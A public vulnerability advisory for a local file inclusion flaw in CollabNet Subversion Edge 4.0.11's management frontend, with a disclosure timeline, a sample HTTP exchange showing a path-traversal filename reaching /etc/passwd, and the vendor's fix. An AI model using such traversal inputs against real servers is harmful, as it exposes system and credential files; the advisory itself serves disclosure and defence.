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CollabNet Subversion Edge indes local file inclusion

# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via logfile "listViewItem" parameter of the "index" action
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0


2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure


The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "listViewItem" parameter of the "index"


		POST /csvn/repo/index HTTP/1.1
		Host: example.com:4434



		HTTP/1.1 200 OK
		Content-Type: text/plain
		Content-disposition: attachment;filename="../../../../../../etc/passwd"
		Content-Length: 1825


Fix proposal:

Remove feature or santizes the "listViewItem" parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.